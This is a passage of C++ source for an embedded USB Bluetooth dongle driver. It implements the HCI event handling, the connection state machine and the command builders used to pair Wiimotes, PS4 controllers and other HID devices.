DEBUG_USB_HOST Notify(PSTR("\r\nBTD Init Failed, error code: "), 0x80); NotifyFail(rcode); #endif Release(); return rcode; } void BTD::Initialize() { uint8_t i; for(i = 0; i < BTD_MAX_ENDPOINTS; i++) { epInfo[i].epAddr = 0; epInfo[i].maxPktSize = (i) ? 0 : 8; epInfo[i].bmSndToggle = 0; epInfo[i].bmRcvToggle = 0; epInfo[i].bmNakPower = (i) ? USB_NAK_NOWAIT : USB_NAK_MAX_POWER; } for(i = 0; i < BTD_NUM_SERVICES; i++) { if(btService[i]) btService[i]->Reset(); // Reset all Bluetooth services } connectToWii = false; incomingWii = false; connectToHIDDevice = false; incomingHIDDevice = false; incomingPS4 = false; bAddress = 0; // Clear device address bNumEP = 1; // Must have to be reset to 1 qNextPollTime = 0; // Reset next poll time pollInterval = 0; bPollEnable = false; // Don't start polling before dongle is connected } /* Extracts interrupt-IN, bulk-IN, bulk-OUT endpoint information from config descriptor */ void BTD::EndpointXtract(uint8_t conf, uint8_t iface __attribute__((unused)), uint8_t alt, uint8_t proto __attribute__((unused)), const USB_ENDPOINT_DESCRIPTOR *pep) { //ErrorMessage(PSTR("Conf.Val"),conf); //ErrorMessage(PSTR("Iface Num"),iface); //ErrorMessage(PSTR("Alt.Set"),alt); if(alt) // Wrong interface - by BT spec, no alt setting return; bConfNum = conf; uint8_t index; if((pep->bmAttributes & bmUSB_TRANSFER_TYPE) == USB_TRANSFER_TYPE_INTERRUPT && (pep->bEndpointAddress & 0x80) == 0x80) { // Interrupt In endpoint found index = BTD_EVENT_PIPE; epInfo[index].bmNakPower = USB_NAK_NOWAIT; } else if((pep->bmAttributes & bmUSB_TRANSFER_TYPE) == USB_TRANSFER_TYPE_BULK) // Bulk endpoint found index = ((pep->bEndpointAddress & 0x80) == 0x80) ? BTD_DATAIN_PIPE : BTD_DATAOUT_PIPE; else return; // Fill the rest of endpoint data structure epInfo[index].epAddr = (pep->bEndpointAddress & 0x0F); epInfo[index].maxPktSize = (uint8_t)pep->wMaxPacketSize; #ifdef EXTRADEBUG PrintEndpointDescriptor(pep); #endif if(pollInterval < pep->bInterval) // Set the polling interval as the largest polling interval obtained from endpoints pollInterval = pep->bInterval; bNumEP++; } void BTD::PrintEndpointDescriptor(const USB_ENDPOINT_DESCRIPTOR* ep_ptr __attribute__((unused))) { #ifdef EXTRADEBUG Notify(PSTR("\r\nEndpoint descriptor:"), 0x80); Notify(PSTR("\r\nLength:\t\t"), 0x80); D_PrintHex (ep_ptr->bLength, 0x80); Notify(PSTR("\r\nType:\t\t"), 0x80); D_PrintHex (ep_ptr->bDescriptorType, 0x80); Notify(PSTR("\r\nAddress:\t"), 0x80); D_PrintHex (ep_ptr->bEndpointAddress, 0x80); Notify(PSTR("\r\nAttributes:\t"), 0x80); D_PrintHex (ep_ptr->bmAttributes, 0x80); Notify(PSTR("\r\nMaxPktSize:\t"), 0x80); D_PrintHex (ep_ptr->wMaxPacketSize, 0x80); Notify(PSTR("\r\nPoll Intrv:\t"), 0x80); D_PrintHex (ep_ptr->bInterval, 0x80); #endif } /* Performs a cleanup after failed Init() attempt */ uint8_t BTD::Release() { Initialize(); // Set all variables, endpoint structs etc. to default values pUsb->GetAddressPool().FreeAddress(bAddress); return 0; } uint8_t BTD::Poll() { if(!bPollEnable) return 0; if((int32_t)((uint32_t)millis() - qNextPollTime) >= 0L) { // Don't poll if shorter than polling interval qNextPollTime = (uint32_t)millis() + pollInterval; // Set new poll time HCI_event_task(); // Poll the HCI event pipe HCI_task(); // HCI state machine ACL_event_task(); // Poll the ACL input pipe too } return 0; } void BTD::disconnect() { for(uint8_t i = 0; i < BTD_NUM_SERVICES; i++) if(btService[i]) btService[i]->disconnect(); }; void BTD::HCI_event_task() { uint16_t length = BULK_MAXPKTSIZE; // Request more than 16 bytes anyway, the inTransfer routine will take care of this uint8_t rcode = pUsb->inTransfer(bAddress, epInfo[ BTD_EVENT_PIPE ].epAddr, &length, hcibuf, pollInterval); // Input on endpoint 1 if(!rcode || rcode == hrNAK) { // Check for errors switch(hcibuf[0]) { // Switch on event type case EV_COMMAND_COMPLETE: if(!hcibuf[5]) { // Check if command succeeded hci_set_flag(HCI_FLAG_CMD_COMPLETE); // Set command complete flag if((hcibuf[3] == 0x01) && (hcibuf[4] == 0x10)) { // Parameters from read local version information hci_version = hcibuf[6]; // Used to check if it supports 2.0+EDR - see http://www.bluetooth.org/Technical/AssignedNumbers/hci.htm hci_set_flag(HCI_FLAG_READ_VERSION); } else if((hcibuf[3] == 0x09) && (hcibuf[4] == 0x10)) { // Parameters from read local bluetooth address for(uint8_t i = 0; i < 6; i++) my_bdaddr[i] = hcibuf[6 + i]; hci_set_flag(HCI_FLAG_READ_BDADDR); } } break; case EV_COMMAND_STATUS: if(hcibuf[2]) { // Show status on serial if not OK #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nHCI Command Failed: "), 0x80); D_PrintHex (hcibuf[2], 0x80); #endif } break; case EV_INQUIRY_COMPLETE: if(inquiry_counter >= 5 && (pairWithWii || pairWithHIDDevice)) { inquiry_counter = 0; #ifdef DEBUG_USB_HOST if(pairWithWii) Notify(PSTR("\r\nCouldn't find Wiimote"), 0x80); else Notify(PSTR("\r\nCouldn't find HID device"), 0x80); #endif connectToWii = false; pairWithWii = false; connectToHIDDevice = false; pairWithHIDDevice = false; hci_state = HCI_SCANNING_STATE; } inquiry_counter++; break; case EV_INQUIRY_RESULT: if(hcibuf[2]) { // Check that there is more than zero responses #ifdef EXTRADEBUG Notify(PSTR("\r\nNumber of responses: "), 0x80); Notify(hcibuf[2], 0x80); #endif for(uint8_t i = 0; i < hcibuf[2]; i++) { uint8_t offset = 8 * hcibuf[2] + 3 * i; for(uint8_t j = 0; j < 3; j++) classOfDevice[j] = hcibuf[j + 4 + offset]; #ifdef EXTRADEBUG Notify(PSTR("\r\nClass of device: "), 0x80); D_PrintHex (classOfDevice[2], 0x80); Notify(PSTR(" "), 0x80); D_PrintHex (classOfDevice[1], 0x80); Notify(PSTR(" "), 0x80); D_PrintHex (classOfDevice[0], 0x80); #endif if(pairWithWii && classOfDevice[2] == 0x00 && (classOfDevice[1] & 0x05) && (classOfDevice[0] & 0x0C)) { // See http://wiibrew.org/wiki/Wiimote#SDP_information checkRemoteName = true; // Check remote name to distinguish between the different controllers for(uint8_t j = 0; j < 6; j++) disc_bdaddr[j] = hcibuf[j + 3 + 6 * i]; hci_set_flag(HCI_FLAG_DEVICE_FOUND); break; } else if(pairWithHIDDevice && (classOfDevice[1] & 0x05) && (classOfDevice[0] & 0xC8)) { // Check if it is a mouse, keyboard or a gamepad - see: http://bluetooth-pentest.narod.ru/software/bluetooth_class_of_device-service_generator.html #ifdef DEBUG_USB_HOST if(classOfDevice[0] & 0x80) Notify(PSTR("\r\nMouse found"), 0x80); if(classOfDevice[0] & 0x40) Notify(PSTR("\r\nKeyboard found"), 0x80); if(classOfDevice[0] & 0x08) Notify(PSTR("\r\nGamepad found"), 0x80); #endif for(uint8_t j = 0; j < 6; j++) disc_bdaddr[j] = hcibuf[j + 3 + 6 * i]; hci_set_flag(HCI_FLAG_DEVICE_FOUND); break; } } } break; case EV_CONNECT_COMPLETE: hci_set_flag(HCI_FLAG_CONNECT_EVENT); if(!hcibuf[2]) { // Check if connected OK #ifdef EXTRADEBUG Notify(PSTR("\r\nConnection established"), 0x80); #endif hci_handle = hcibuf[3] | ((hcibuf[4] & 0x0F) << 8); // Store the handle for the ACL connection hci_set_flag(HCI_FLAG_CONNECT_COMPLETE); // Set connection complete flag } else { hci_state = HCI_CHECK_DEVICE_SERVICE; #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nConnection Failed: "), 0x80); D_PrintHex (hcibuf[2], 0x80); #endif } break; case EV_DISCONNECT_COMPLETE: if(!hcibuf[2]) { // Check if disconnected OK hci_set_flag(HCI_FLAG_DISCONNECT_COMPLETE); // Set disconnect command complete flag hci_clear_flag(HCI_FLAG_CONNECT_COMPLETE); // Clear connection complete flag } break; case EV_REMOTE_NAME_COMPLETE: if(!hcibuf[2]) { // Check if reading is OK for(uint8_t i = 0; i < min(sizeof (remote_name), sizeof (hcibuf) - 9); i++) { remote_name[i] = hcibuf[9 + i]; if(remote_name[i] == '\0') // End of string break; } // TODO: Altid sæt '\0' i remote name! hci_set_flag(HCI_FLAG_REMOTE_NAME_COMPLETE); } break; case EV_INCOMING_CONNECT: for(uint8_t i = 0; i < 6; i++) disc_bdaddr[i] = hcibuf[i + 2]; for(uint8_t i = 0; i < 3; i++) classOfDevice[i] = hcibuf[i + 8]; if((classOfDevice[1] & 0x05) && (classOfDevice[0] & 0xC8)) { // Check if it is a mouse, keyboard or a gamepad #ifdef DEBUG_USB_HOST if(classOfDevice[0] & 0x80) Notify(PSTR("\r\nMouse is connecting"), 0x80); if(classOfDevice[0] & 0x40) Notify(PSTR("\r\nKeyboard is connecting"), 0x80); if(classOfDevice[0] & 0x08) Notify(PSTR("\r\nGamepad is connecting"), 0x80); #endif incomingHIDDevice = true; } #ifdef EXTRADEBUG Notify(PSTR("\r\nClass of device: "), 0x80); D_PrintHex (classOfDevice[2], 0x80); Notify(PSTR(" "), 0x80); D_PrintHex (classOfDevice[1], 0x80); Notify(PSTR(" "), 0x80); D_PrintHex (classOfDevice[0], 0x80); #endif hci_set_flag(HCI_FLAG_INCOMING_REQUEST); break; case EV_PIN_CODE_REQUEST: if(pairWithWii) { #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nPairing with Wiimote"), 0x80); #endif hci_pin_code_request_reply(); } else if(btdPin != NULL) { #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nBluetooth pin is set too: "), 0x80); NotifyStr(btdPin, 0x80); #endif hci_pin_code_request_reply(); } else { #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nNo pin was set"), 0x80); #endif hci_pin_code_negative_request_reply(); } break; case EV_LINK_KEY_REQUEST: #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nReceived Key Request"), 0x80); #endif hci_link_key_request_negative_reply(); break; case EV_AUTHENTICATION_COMPLETE: if(!hcibuf[2]) { // Check if pairing was successful if(pairWithWii && !connectToWii) { #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nPairing successful with Wiimote"), 0x80); #endif connectToWii = true; // Used to indicate to the Wii service, that it should connect to this device } else if(pairWithHIDDevice && !connectToHIDDevice) { #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nPairing successful with HID device"), 0x80); #endif connectToHIDDevice = true; // Used to indicate to the BTHID service, that it should connect to this device } } else { #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nPairing Failed: "), 0x80); D_PrintHex (hcibuf[2], 0x80); #endif hci_disconnect(hci_handle); hci_state = HCI_DISCONNECT_STATE; } break; /* We will just ignore the following events */ case EV_NUM_COMPLETE_PKT: case EV_ROLE_CHANGED: case EV_PAGE_SCAN_REP_MODE: case EV_LOOPBACK_COMMAND: case EV_DATA_BUFFER_OVERFLOW: case EV_CHANGE_CONNECTION_LINK: case EV_MAX_SLOTS_CHANGE: case EV_QOS_SETUP_COMPLETE: case EV_LINK_KEY_NOTIFICATION: case EV_ENCRYPTION_CHANGE: case EV_READ_REMOTE_VERSION_INFORMATION_COMPLETE: break; #ifdef EXTRADEBUG default: if(hcibuf[0] != 0x00) { Notify(PSTR("\r\nUnmanaged HCI Event: "), 0x80); D_PrintHex (hcibuf[0], 0x80); } break; #endif } // Switch } #ifdef EXTRADEBUG else { Notify(PSTR("\r\nHCI event error: "), 0x80); D_PrintHex (rcode, 0x80); } #endif } /* Poll Bluetooth and print result */ void BTD::HCI_task() { switch(hci_state) { case HCI_INIT_STATE: hci_counter++; if(hci_counter > hci_num_reset_loops) { // wait until we have looped x times to clear any old events hci_reset(); hci_state = HCI_RESET_STATE; hci_counter = 0; } break; case HCI_RESET_STATE: hci_counter++; if(hci_check_flag(HCI_FLAG_CMD_COMPLETE)) { hci_counter = 0; #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nHCI Reset complete"), 0x80); #endif hci_state = HCI_CLASS_STATE; hci_write_class_of_device(); } else if(hci_counter > hci_num_reset_loops) { hci_num_reset_loops *= 10; if(hci_num_reset_loops > 2000) hci_num_reset_loops = 2000; #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nNo response to HCI Reset"), 0x80); #endif hci_state = HCI_INIT_STATE; hci_counter = 0; } break; case HCI_CLASS_STATE: if(hci_check_flag(HCI_FLAG_CMD_COMPLETE)) { #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nWrite class of device"), 0x80); #endif hci_state = HCI_BDADDR_STATE; hci_read_bdaddr(); } break; case HCI_BDADDR_STATE: if(hci_check_flag(HCI_FLAG_READ_BDADDR)) { #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nLocal Bluetooth Address: "), 0x80); for(int8_t i = 5; i > 0; i--) { D_PrintHex (my_bdaddr[i], 0x80); Notify(PSTR(":"), 0x80); } D_PrintHex (my_bdaddr[0], 0x80); #endif hci_read_local_version_information(); hci_state = HCI_LOCAL_VERSION_STATE; } break; case HCI_LOCAL_VERSION_STATE: // The local version is used by the PS3BT class if(hci_check_flag(HCI_FLAG_READ_VERSION)) { if(btdName != NULL) { hci_set_local_name(btdName); hci_state = HCI_SET_NAME_STATE; } else hci_state = HCI_CHECK_DEVICE_SERVICE; } break; case HCI_SET_NAME_STATE: if(hci_check_flag(HCI_FLAG_CMD_COMPLETE)) { #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nThe name is set to: "), 0x80); NotifyStr(btdName, 0x80); #endif hci_state = HCI_CHECK_DEVICE_SERVICE; } break; case HCI_CHECK_DEVICE_SERVICE: if(pairWithHIDDevice || pairWithWii) { // Check if it should try to connect to a Wiimote #ifdef DEBUG_USB_HOST if(pairWithWii) Notify(PSTR("\r\nStarting inquiry\r\nPress 1 & 2 on the Wiimote\r\nOr press the SYNC button if you are using a Wii U Pro Controller or a Wii Balance Board"), 0x80); else Notify(PSTR("\r\nPlease enable discovery of your device"), 0x80); #endif hci_inquiry(); hci_state = HCI_INQUIRY_STATE; } else hci_state = HCI_SCANNING_STATE; // Don't try to connect to a Wiimote break; case HCI_INQUIRY_STATE: if(hci_check_flag(HCI_FLAG_DEVICE_FOUND)) { hci_inquiry_cancel(); // Stop inquiry #ifdef DEBUG_USB_HOST if(pairWithWii) Notify(PSTR("\r\nWiimote found"), 0x80); else Notify(PSTR("\r\nHID device found"), 0x80); Notify(PSTR("\r\nNow just create the instance like so:"), 0x80); if(pairWithWii) Notify(PSTR("\r\nWII Wii(&Btd);"), 0x80); else Notify(PSTR("\r\nBTHID bthid(&Btd);"), 0x80); Notify(PSTR("\r\nAnd then press any button on the "), 0x80); if(pairWithWii) Notify(PSTR("Wiimote"), 0x80); else Notify(PSTR("device"), 0x80); #endif if(checkRemoteName) { hci_remote_name(); // We need to know the name to distinguish between the Wiimote, the new Wiimote with Motion Plus inside, a Wii U Pro Controller and a Wii Balance Board hci_state = HCI_REMOTE_NAME_STATE; } else hci_state = HCI_CONNECT_DEVICE_STATE; } break; case HCI_CONNECT_DEVICE_STATE: if(hci_check_flag(HCI_FLAG_CMD_COMPLETE)) { #ifdef DEBUG_USB_HOST if(pairWithWii) Notify(PSTR("\r\nConnecting to Wiimote"), 0x80); else Notify(PSTR("\r\nConnecting to HID device"), 0x80); #endif checkRemoteName = false; hci_connect(); hci_state = HCI_CONNECTED_DEVICE_STATE; } break; case HCI_CONNECTED_DEVICE_STATE: if(hci_check_flag(HCI_FLAG_CONNECT_EVENT)) { if(hci_check_flag(HCI_FLAG_CONNECT_COMPLETE)) { #ifdef DEBUG_USB_HOST if(pairWithWii) Notify(PSTR("\r\nConnected to Wiimote"), 0x80); else Notify(PSTR("\r\nConnected to HID device"), 0x80); #endif hci_authentication_request(); // This will start the pairing with the Wiimote hci_state = HCI_SCANNING_STATE; } else { #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nTrying to connect one more time..."), 0x80); #endif hci_connect(); // Try to connect one more time } } break; case HCI_SCANNING_STATE: if(!connectToWii && !pairWithWii && !connectToHIDDevice && !pairWithHIDDevice) { #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nWait For Incoming Connection Request"), 0x80); #endif hci_write_scan_enable(); waitingForConnection = true; hci_state = HCI_CONNECT_IN_STATE; } break; case HCI_CONNECT_IN_STATE: if(hci_check_flag(HCI_FLAG_INCOMING_REQUEST)) { waitingForConnection = false; #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nIncoming Connection Request"), 0x80); #endif hci_remote_name(); hci_state = HCI_REMOTE_NAME_STATE; } else if(hci_check_flag(HCI_FLAG_DISCONNECT_COMPLETE)) hci_state = HCI_DISCONNECT_STATE; break; case HCI_REMOTE_NAME_STATE: if(hci_check_flag(HCI_FLAG_REMOTE_NAME_COMPLETE)) { #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nRemote Name: "), 0x80); for(uint8_t i = 0; i < strlen(remote_name); i++) Notifyc(remote_name[i], 0x80); #endif if(strncmp((const char*)remote_name, "Nintendo", 8) == 0) { incomingWii = true; motionPlusInside = false; wiiUProController = false; pairWiiUsingSync = false; #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nWiimote is connecting"), 0x80); #endif if(strncmp((const char*)remote_name, "Nintendo RVL-CNT-01-TR", 22) == 0) { #ifdef DEBUG_USB_HOST Notify(PSTR(" with Motion Plus Inside"), 0x80); #endif motionPlusInside = true; } else if(strncmp((const char*)remote_name, "Nintendo RVL-CNT-01-UC", 22) == 0) { #ifdef DEBUG_USB_HOST Notify(PSTR(" - Wii U Pro Controller"), 0x80); #endif wiiUProController = motionPlusInside = pairWiiUsingSync = true; } else if(strncmp((const char*)remote_name, "Nintendo RVL-WBC-01", 19) == 0) { #ifdef DEBUG_USB_HOST Notify(PSTR(" - Wii Balance Board"), 0x80); #endif pairWiiUsingSync = true; } } if(classOfDevice[2] == 0 && classOfDevice[1] == 0x25 && classOfDevice[0] == 0x08 && strncmp((const char*)remote_name, "Wireless Controller", 19) == 0) { #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nPS4 controller is connecting"), 0x80); #endif incomingPS4 = true; } if(pairWithWii && checkRemoteName) hci_state = HCI_CONNECT_DEVICE_STATE; else { hci_accept_connection(); hci_state = HCI_CONNECTED_STATE; } } break; case HCI_CONNECTED_STATE: if(hci_check_flag(HCI_FLAG_CONNECT_COMPLETE)) { #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nConnected to Device: "), 0x80); for(int8_t i = 5; i > 0; i--) { D_PrintHex (disc_bdaddr[i], 0x80); Notify(PSTR(":"), 0x80); } D_PrintHex (disc_bdaddr[0], 0x80); #endif if(incomingPS4) connectToHIDDevice = true; // We should always connect to the PS4 controller // Clear these flags for a new connection l2capConnectionClaimed = false; sdpConnectionClaimed = false; rfcommConnectionClaimed = false; hci_event_flag = 0; hci_state = HCI_DONE_STATE; } break; case HCI_DONE_STATE: hci_counter++; if(hci_counter > 1000) { // Wait until we have looped 1000 times to make sure that the L2CAP connection has been started hci_counter = 0; hci_state = HCI_SCANNING_STATE; } break; case HCI_DISCONNECT_STATE: if(hci_check_flag(HCI_FLAG_DISCONNECT_COMPLETE)) { #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nHCI Disconnected from Device"), 0x80); #endif hci_event_flag = 0; // Clear all flags // Reset all buffers memset(hcibuf, 0, BULK_MAXPKTSIZE); memset(l2capinbuf, 0, BULK_MAXPKTSIZE); connectToWii = incomingWii = pairWithWii = false; connectToHIDDevice = incomingHIDDevice = pairWithHIDDevice = checkRemoteName = false; incomingPS4 = false; hci_state = HCI_SCANNING_STATE; } break; default: break; } } void BTD::ACL_event_task() { uint16_t length = BULK_MAXPKTSIZE; uint8_t rcode = pUsb->inTransfer(bAddress, epInfo[ BTD_DATAIN_PIPE ].epAddr, &length, l2capinbuf, pollInterval); // Input on endpoint 2 if(!rcode) { // Check for errors if(length > 0) { // Check if any data was read for(uint8_t i = 0; i < BTD_NUM_SERVICES; i++) { if(btService[i]) btService[i]->ACLData(l2capinbuf); } } } #ifdef EXTRADEBUG else if(rcode != hrNAK) { Notify(PSTR("\r\nACL data in error: "), 0x80); D_PrintHex (rcode, 0x80); } #endif for(uint8_t i = 0; i < BTD_NUM_SERVICES; i++) if(btService[i]) btService[i]->Run(); } /************************************************************/ /* HCI Commands */ /************************************************************/ void BTD::HCI_Command(uint8_t* data, uint16_t nbytes) { hci_clear_flag(HCI_FLAG_CMD_COMPLETE); pUsb->ctrlReq(bAddress, epInfo[ BTD_CONTROL_PIPE ].epAddr, bmREQ_HCI_OUT, 0x00, 0x00, 0x00, 0x00, nbytes, nbytes, data, NULL); } void BTD::hci_reset() { hci_event_flag = 0; // Clear all the flags hcibuf[0] = 0x03; // HCI OCF = 3 hcibuf[1] = 0x03 << 2; // HCI OGF = 3 hcibuf[2] = 0x00; HCI_Command(hcibuf, 3); } void BTD::hci_write_scan_enable() { hci_clear_flag(HCI_FLAG_INCOMING_REQUEST); hcibuf[0] = 0x1A; // HCI OCF = 1A hcibuf[1] = 0x03 << 2; // HCI OGF = 3 hcibuf[2] = 0x01; // parameter length = 1 if(btdName != NULL) hcibuf[3] = 0x03; // Inquiry Scan enabled. Page Scan enabled. else hcibuf[3] = 0x02; // Inquiry Scan disabled. Page Scan enabled. HCI_Command(hcibuf, 4); } void BTD::hci_write_scan_disable() { hcibuf[0] = 0x1A; // HCI OCF = 1A hcibuf[1] = 0x03 << 2; // HCI OGF = 3 hcibuf[2] = 0x01; // parameter length = 1 hcibuf[3] = 0x00; // Inquiry Scan disabled. Page Scan disabled. HCI_Command(hcibuf, 4); } void BTD::hci_read_bdaddr() { hci_clear_flag(HCI_FLAG_READ_BDADDR); hcibuf[0] = 0x09; // HCI OCF = 9 hcibuf[1] = 0x04 << 2; // HCI OGF = 4 hcibuf[2] = 0x00; HCI_Command(hcibuf, 3); } void BTD::hci_read_local_version_information() { hci_clear_flag(HCI_FLAG_READ_VERSION); hcibuf[0] = 0x01; // HCI OCF = 1 hcibuf[1] = 0x04 << 2; // HCI OGF = 4 hcibuf[2] = 0x00; HCI_Command(hcibuf, 3); } void BTD::hci_accept_connection() { hci_clear_flag(HCI_FLAG_CONNECT_COMPLETE); hcibuf[0] = 0x09; // HCI OCF = 9 hcibuf[1] = 0x01 << 2; // HCI OGF = 1 hcibuf[2] = 0x07; // parameter length 7 hcibuf[3] = disc_bdaddr[0]; // 6 octet bdaddr hcibuf[4] = disc_bdaddr[1]; hcibuf[5] = disc_bdaddr[2]; hcibuf[6] = disc_bdaddr[3]; hcibuf[7] = disc_bdaddr[4]; hcibuf[8] = disc_bdaddr[5]; hcibuf[9] = 0x00; // Switch role to master HCI_Command(hcibuf, 10); } void BTD::hci_remote_name() { hci_clear_flag(HCI_FLAG_REMOTE_NAME_COMPLETE); hcibuf[0] = 0x19; // HCI OCF = 19 hcibuf[1] = 0x01 << 2; // HCI OGF = 1 hcibuf[2] = 0x0A; // parameter length = 10 hcibuf[3] = disc_bdaddr[0]; // 6 octet bdaddr hcibuf[4] = disc_bdaddr[1]; hcibuf[5] = disc_bdaddr[2]; hcibuf[6] = disc_bdaddr[3]; hcibuf[7] = disc_bdaddr[4]; hcibuf[8] = disc_bdaddr[5]; hcibuf[9] = 0x01; // Page Scan Repetition Mode hcibuf[10] = 0x00; // Reserved hcibuf[11] = 0x00; // Clock offset - low byte hcibuf[12] = 0x00; // Clock offset - high byte HCI_Command(hcibuf, 13); } void BTD::hci_set_local_name(const char* name) { hcibuf[0] = 0x13; // HCI OCF = 13 hcibuf[1] = 0x03 << 2; // HCI OGF = 3 hcibuf[2] = strlen(name) + 1; // parameter length = the length of the string + end byte uint8_t i; for(i = 0; i < strlen(name); i++) hcibuf[i + 3] = name[i]; hcibuf[i + 3] = 0x00; // End of string HCI_Command(hcibuf, 4 + strlen(name)); } void BTD::hci_inquiry() { hci_clear_flag(HCI_FLAG_DEVICE_FOUND); hcibuf[0] = 0x01; hcibuf[1] = 0x01 << 2; // HCI OGF = 1 hcibuf[2] = 0x05; // Parameter Total Length = 5 hcibuf[3] = 0x33; // LAP: Genera/Unlimited Inquiry Access Code (GIAC = 0x9E8B33) - see https://www.bluetooth.org/Technical/AssignedNumbers/baseband.htm hcibuf[4] = 0x8B; hcibuf[5] = 0x9E; hcibuf[6] = 0x30; // Inquiry time = 61.44 sec (maximum) hcibuf[7] = 0x0A; // 10 number of responses HCI_Command(hcibuf, 8); } void BTD::hci_inquiry_cancel() { hcibuf[0] = 0x02; hcibuf[1] = 0x01 << 2; // HCI OGF = 1 hcibuf[2] = 0x00; // Parameter Total Length = 0 HCI_Command(hcibuf, 3); } void BTD::hci_connect() { hci_connect(disc_bdaddr); // Use last discovered device } void BTD::hci_connect(uint8_t *bdaddr) { hci_clear_flag(HCI_FLAG_CONNECT_COMPLETE | HCI_FLAG_CONNECT_EVENT); hcibuf[0] = 0x05; hcibuf[1] = 0x01 << 2; // HCI OGF = 1 hcibuf[2] = 0x0D; // parameter Total Length = 13 hcibuf[3] = bdaddr[0]; // 6 octet bdaddr (LSB) hcibuf[4] = bdaddr[1]; hcibuf[5] = bdaddr[2]; hcibuf[6] = bdaddr[3]; hcibuf[7] = bdaddr[4]; hcibuf[8] = bdaddr[5]; hcibuf[9] = 0x18; // DM1 or DH1 may be used hcibuf[10] = 0xCC; // DM3, DH3, DM5, DH5 may be used hcibuf[11] = 0x01; // Page repetition mode R1 hcibuf[12] = 0x00; // Reserved hcibuf[13] = 0x00; // Clock offset hcibuf[14] = 0x00; // Invalid clock offset hcibuf[15] = 0x00; // Do not allow role switch HCI_Command(hcibuf, 16); } void BTD::hci_pin_code_request_reply() { hcibuf[0] = 0x0D; // HCI OCF = 0D hcibuf[1] = 0x01 << 2; // HCI OGF = 1 hcibuf[2] = 0x17; // parameter length 23 hcibuf[3] = disc_bdaddr[0]; // 6 octet bdaddr hcibuf[4] = disc_bdaddr[1]; hcibuf[5] = disc_bdaddr[2]; hcibuf[6] = disc_bdaddr[3]; hcibuf[7] = disc_bdaddr[4]; hcibuf[8] = disc_bdaddr[5]; if(pairWithWii) { hcibuf[9] = 6; // Pin length is the length of the Bluetooth address if(pairWiiUsingSync) { #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nPairing with Wii controller via SYNC"), 0x80); #endif for(uint8_t i = 0; i < 6; i++) hcibuf[10 + i] = my_bdaddr[i]; // The pin is the Bluetooth dongles Bluetooth address backwards } else { for(uint8_t i = 0; i < 6; i++) hcibuf[10 + i] = disc_bdaddr[i]; // The pin is the Wiimote's Bluetooth address backwards } for(uint8_t i = 16; i < 26; i++) hcibuf[i] = 0x00; // The rest should be 0 } else { hcibuf[9] = strlen(btdPin); // Length of pin uint8_t i; for(i = 0; i < strlen(btdPin); i++) // The maximum size of the pin is 16 hcibuf[i + 10] = btdPin[i]; for(; i < 16; i++) hcibuf[i + 10] = 0x00; // The rest should be 0 } HCI_Command(hcibuf, 26); } void BTD::hci_pin_code_negative_request_reply() { hcibuf[0] = 0x0E; // HCI OCF = 0E hcibuf[1] = 0x01 << 2; // HCI OGF = 1 hcibuf[2] = 0x06; // parameter length 6 hcibuf[3] = disc_bdaddr[0]; // 6 octet bdaddr hcibuf[4] = disc_bdaddr[1]; hcibuf[5] = disc_bdaddr[2]; hcibuf[6] = disc_bdaddr[3]; hcibuf[7] = disc_bdaddr[4]; hcibuf[8] = disc_bdaddr[5]; HCI_Command(hcibuf, 9); } void BTD::hci_link_key_request_negative_reply() { hcibuf[0] = 0x0C; // HCI OCF = 0C hcibuf[1] = 0x01 << 2; // HCI OGF = 1 hcibuf[2] = 0x06; // parameter length 6 hcibuf[3] = disc_bdaddr[0]; // 6 octet bdaddr hcibuf[4] = disc_bdaddr[1]; hcibuf[5] = disc_bdaddr[2]; hcibuf[6] = disc_bdaddr[3]; hcibuf[7] = disc_bdaddr[4]; hcibuf[8] = disc_bdaddr[5]; HCI_Command(hcibuf, 9); } void BTD::hci_authentication_request() { hcibuf[0] = 0x11; // HCI OCF = 11 hcibuf[1] = 0x01 << 2; // HCI OGF = 1 hcibuf[2] = 0x02; // parameter length = 2 hcibuf[3] = (uint8_t)(hci_handle & 0xFF); //connection handle - low byte hcibuf[4] = (uint8_t)((hci_handle >> 8) & 0x0F); //connection handle - high byte HCI_Command(hcibuf, 5); } void BTD::hci_disconnect(uint16_t handle) { // This is called by the different services hci_clear_flag(HCI_FLAG_DISCONNECT_COMPLETE); hcibuf[0] = 0x06; // HCI OCF = 6 hcibuf[1] = 0x01 << 2; // HCI OGF = 1 hcibuf[2] = 0x03; // parameter length = 3 hcibuf[3] = (uint8_t)(handle & 0xFF); //connection handle - low byte hcibuf[4] = (uint8_t)((handle >> 8) & 0x0F); //connection handle - high byte hcibuf[5] = 0x13; // reason HCI_Command(hcibuf, 6); } void BTD::hci_write_class_of_device() { // See http://bluetooth-pentest.narod.ru/software/bluetooth_class_of_device-service_generator.html hcibuf[0] = 0x24; // HCI OCF = 24 hcibuf[1] = 0x03 << 2; // HCI OGF = 3 hcibuf[2] = 0x03; // parameter length = 3 hcibuf[3] = 0x04; // Robot hcibuf[4] = 0x08; // Toy hcibuf[5] = 0x00; HCI_Command(hcibuf, 6); } /******************************************************************* * * * HCI ACL Data Packet * * * * buf[0] buf[1] buf[2] buf[3] * 0 4 8 11 12 16 24 31 MSB * .-+-+-+-+-+-+-+-|-+-+-+-|-+-|-+-|-+-+-+-+-+-+-+-|-+-+-+-+-+-+-+-. * | HCI Handle |PB |BC | Data Total Length | HCI ACL Data Packet * 